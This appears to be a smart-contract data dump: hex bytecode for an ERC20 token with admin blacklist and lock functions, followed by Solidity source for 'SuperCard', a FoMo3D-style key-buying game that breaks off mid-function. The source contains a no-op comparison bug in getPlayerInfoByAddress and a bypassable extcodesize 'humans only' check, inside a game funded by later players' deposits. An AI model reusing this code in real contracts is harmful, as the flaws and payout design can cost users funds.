019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611cc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131d26026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806133746024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806131f86022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b60008160010181905550600081600001819055506000808373ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a45050565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061334f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561229b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061316a6023913960400191505060405180910390fd5b60001515600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612361576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f45524332303a2073656e6465722061646472657373200000000000000000000081525060200191505060405180910390fd5b61236c84848461311a565b6000816000015411156126f15780600101544211156124de5760008160010181905550600081600001819055506124048260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612497826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126ec565b600061254f826000015460405180606001604052806022815260200161321a602291396000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b905061257e8360405180606001604052806026815260200161323c602691398361289d9092919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061261582600001546000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a8836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b612832565b61275c8260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ef826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600083831115829061294a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561290f5780820151818401526020810190506128f4565b50505050905090810190601f16801561293c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061332e6021913960400191505060405180910390fd5b6129ef8260008361311a565b612a5a816040518060600160405280602281526020016131b0602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ab18160055461311f90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612ba7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612c50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061318d6023913960400191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600115158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612dd7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b612dee838260000154611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612e84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806132ae6030913960400191505060405180910390fd5b60008160010154118015612e9b5750806001015442115b15612eb55760008160010181905550600081600001819055505b818160010181905550612ed5838260000154611d8190919063ffffffff16565b81600001819055508181600001548573ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a450505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612fb2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514613078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2041646472657373206e6f7420626c61636b6c6973746564000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600015158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b505050565b600061316183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061289d565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea26469706673582212208b4ff7c227f950b7dad0564939f5a7ea18c8b3af48c54c7a6a50cbc1ff090fbf64736f6c63430007030033
[ 38 ]
0xf243fb3c8e90935f77f96ba3bbbd324cf070948e
pragma solidity ^0.4.24; /*-------------------------------------------------- ____ ____ _ / ___| _ _ _ __ ___ _ __ / ___|__ _ _ __ __| | \___ \| | | | '_ \ / _ \ '__| | | / _` | '__/ _` | ___) | |_| | |_) | __/ | | |__| (_| | | | (_| | |____/ \__,_| .__/ \___|_| \____\__,_|_| \__,_| |_| 2018-08-08 V0.8 ---------------------------------------------------*/ contract SPCevents { // fired whenever a player registers a name event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); // fired at end of buy or reload event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); // fired whenever theres a withdraw event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); // fired whenever a withdraw forces end round to be ran event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // fired whenever a player tries a buy after round timer // hit zero, and causes end round to be ran. event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // fired whenever a player tries a reload after round timer // hit zero, and causes end round to be ran. event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // fired whenever an affiliate is paid event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); // received pot swap deposit, add pot directly by admin to next round event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } //============================================================================== // _ _ _ _|_ _ _ __|_ _ _ _|_ _ . // (_(_)| | | | (_|(_ | _\(/_ | |_||_) . //====================================|========================================= contract SuperCard is SPCevents { using SafeMath for *; using NameFilter for string; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xbac825cdb506dcf917a7715a4bf3fa1b06abe3e4); //============================================================================== // _ _ _ |`. _ _ _ |_ | _ _ . // (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings) //=================_|=========================================================== address private admin = msg.sender; string constant public name = "SuperCard"; string constant public symbol = "SPC"; uint256 private rndExtra_ = 0; // length of the very first ICO uint256 private rndGap_ = 2 minutes; // length of ICO phase, set to 1 year for EOS. uint256 constant private rndInit_ = 6 hours; // round timer starts at this uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer uint256 constant private rndMax_ = 24 hours; // max length a round timer can be //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes) //=============================|================================================ uint256 public airDropPot_; // person who gets the airdrop wins part of this pot uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop uint256 public rID_; // last rID uint256 public pID_; // last pID //**************** // PLAYER DATA //**************** mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => SPCdatasets.Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (uint256 => SPCdatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own) //**************** // ROUND DATA //**************** mapping (uint256 => SPCdatasets.Round) public round_; // (rID => data) round data mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id mapping (uint256 => uint256) public attend; // (index => pID) player ID attend current round //**************** // TEAM FEE DATA //**************** mapping (uint256 => SPCdatasets.TeamFee) public fees_; // (team => fees) fee distribution by team mapping (uint256 => SPCdatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public { fees_[0] = SPCdatasets.TeamFee(80,2); fees_[1] = SPCdatasets.TeamFee(80,2); fees_[2] = SPCdatasets.TeamFee(80,2); fees_[3] = SPCdatasets.TeamFee(80,2); // how to split up the final pot based on which team was picked potSplit_[0] = SPCdatasets.PotSplit(20,10); potSplit_[1] = SPCdatasets.PotSplit(20,10); potSplit_[2] = SPCdatasets.PotSplit(20,10); potSplit_[3] = SPCdatasets.PotSplit(20,10); /* activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; */ } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev used to make sure no one can interact with contract until it has * been activated. */ modifier isActivated() { if ( activated_ == false ){ if ( (now >= pre_active_time) && (pre_active_time > 0) ){ activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } require(activated_ == true, "its not ready yet."); _; } /** * @dev prevents contracts from interacting with SuperCard */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev emergency buy uses last stored affiliate ID and team snek */ function() isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not SPCdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // buy core buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not SPCdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // buy core, team set to 2, snake buyCore(_pID, _affID, 2, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data SPCdatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // reload core, team set to 2, snake reLoadCore(_pID, _affID, _eth, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data SPCdatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // reload core, team set to 2, snake reLoadCore(_pID, _affCode, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data SPCdatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // reload core, team set to 2, snake reLoadCore(_pID, _affID, _eth, _eventData_); } /** * @dev essentially the same as buy, but instead of you sending ether * from your wallet, it uses your unwithdrawn earnings. * -functionhash- 0x349cdcac (using ID for affiliate) * -functionhash- 0x82bfc739 (using address for affiliate) * -functionhash- 0x079ce327 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? * @param _eth amount of earnings to use (remainder returned to gen vault) */ /** * @dev withdraws all of your earnings. * -functionhash- 0x3ccfd60b */ function withdraw() isActivated() isHuman() public { // setup local rID uint256 myrID = rID_; // grab time uint256 _now = now; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // setup temp var for player eth uint256 upperLimit = 0; uint256 usedGen = 0; // eth send to player uint256 ethout = 0; uint256 over_gen = 0; updateGenVault(_pID, plyr_[_pID].lrnd); if (plyr_[_pID].gen > 0) { upperLimit = (calceth(plyrRnds_[_pID][myrID].keys).mul(105))/100; if(plyr_[_pID].gen >= upperLimit) { over_gen = (plyr_[_pID].gen).sub(upperLimit); round_[myrID].keys = (round_[myrID].keys).sub(plyrRnds_[_pID][myrID].keys); plyrRnds_[_pID][myrID].keys = 0; round_[myrID].pot = (round_[myrID].pot).add(over_gen); usedGen = upperLimit; } else { plyrRnds_[_pID][myrID].keys = (plyrRnds_[_pID][myrID].keys).sub(calckeys(((plyr_[_pID].gen).mul(100))/105)); round_[myrID].keys = (round_[myrID].keys).sub(calckeys(((plyr_[_pID].gen).mul(100))/105)); usedGen = plyr_[_pID].gen; } ethout = ((plyr_[_pID].win).add(plyr_[_pID].aff)).add(usedGen); } else { ethout = ((plyr_[_pID].win).add(plyr_[_pID].aff)); } plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; plyr_[_pID].addr.transfer(ethout); // check to see if round has ended and no one has run round end yet if (_now > round_[myrID].end && round_[myrID].ended == false && round_[myrID].plyr != 0) { // set up our tx event data SPCdatasets.EventReturns memory _eventData_; // end the round (distributes pot) round_[myrID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire withdraw and distribute event emit SPCevents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, ethout, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); // in any other situation } else { // fire withdraw event emit SPCevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, ethout, _now); } } /** * @dev use these to register names. they are just wrappers that will send the * registration requests to the PlayerBook contract. So registering here is the * same as registering there. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who referred you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit SPCevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= /** * @dev return the price buyer will pay for next 1 individual key. * -functionhash- 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { // price 0.01 ETH return(10000000000000000); } /** * @dev returns time left. dont spam this, you'll ddos yourself from your node * provider * -functionhash- 0xc7e284b8 * @return time left in seconds */ function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } /** * @dev returns player earnings per vaults * -functionhash- 0x63066434 * @return winnings vault * @return general vault * @return affiliate vault */ function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { // if round has ended. but round end has not been run (so contract has not distributed winnings) return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } /** * @dev returns all current round info needed for front end * -functionhash- 0x747dff42 * @return eth invested during ICO phase * @return round id * @return total keys for round * @return time round ends * @return time round started * @return current pot * @return current team ID & player ID in lead * @return current player in leads address * @return current player in leads name * @return whales eth in for round * @return bears eth in for round * @return sneks eth in for round * @return bulls eth in for round * @return airdrop tracker # & airdrop pot */ function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; return ( round_[_rID].ico, //0 _rID, //1 round_[_rID].keys, //2 round_[_rID].end, //3 round_[_rID].strt, //4 round_[_rID].pot, //5 (round_[_rID].team + (round_[_rID].plyr * 10)), //6 plyr_[round_[_rID].plyr].addr, //7 plyr_[round_[_rID].plyr].name, //8 rndTmEth_[_rID][0], //9 rndTmEth_[_rID][1], //10 rndTmEth_[_rID][2], //11 rndTmEth_[_rID][3], //12 airDropTracker_ + (airDropPot_ * 1000) //13 ); } /** * @dev returns player info based on address. if no address is given, it will * use msg.sender * -functionhash- 0xee0b5d8b * @param _addr address of the player you want to lookup * @return player ID * @return player name * @return keys owned (current round) * @return winnings vault * @return general vault * @return affiliate vault * @return player round eth */ function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, //0 plyr_[_pID].name, //1 plyrRnds_[_pID][_rID].keys, //2 plyr_[_pID].win, //3 (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth //6 ); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not SPCdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // buy core, team set to 2, snake buyCore(_pID, _affID, 2, _eventData_); } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine) //=====================_|======================================================= /** * @dev logic runs whenever a buy order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function buyCore(uint256 _pID, uint256 _affID, uint256 _team, SPCdatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // call core core(_rID, _pID, msg.value, _affID, 2, _eventData_); // if round is not active } else { // check to see if end round needs to be ran if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit SPCevents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } // put eth in players vault, to win vault plyr_[_pID].win = plyr_[_pID].win.add(msg.value); } } /** * @dev gen limit handle */ function genLimit(uint256 _pID) private returns(uint256) { // setup local rID uint256 myrID = rID_; uint256 upperLimit = 0; uint256 usedGen = 0; uint256 over_gen = 0; uint256 eth_can_use = 0; uint256 tempnum = 0; updateGenVault(_pID, plyr_[_pID].lrnd); if (plyr_[_pID].gen > 0) { upperLimit = ((plyrRnds_[_pID][myrID].keys).mul(105))/10000; if(plyr_[_pID].gen >= upperLimit) { over_gen = (plyr_[_pID].gen).sub(upperLimit); round_[myrID].keys = (round_[myrID].keys).sub(plyrRnds_[_pID][myrID].keys); plyrRnds_[_pID][myrID].keys = 0; round_[myrID].pot = (round_[myrID].pot).add(over_gen); usedGen = upperLimit; } else { tempnum = ((plyr_[_pID].gen).mul(10000))/105; 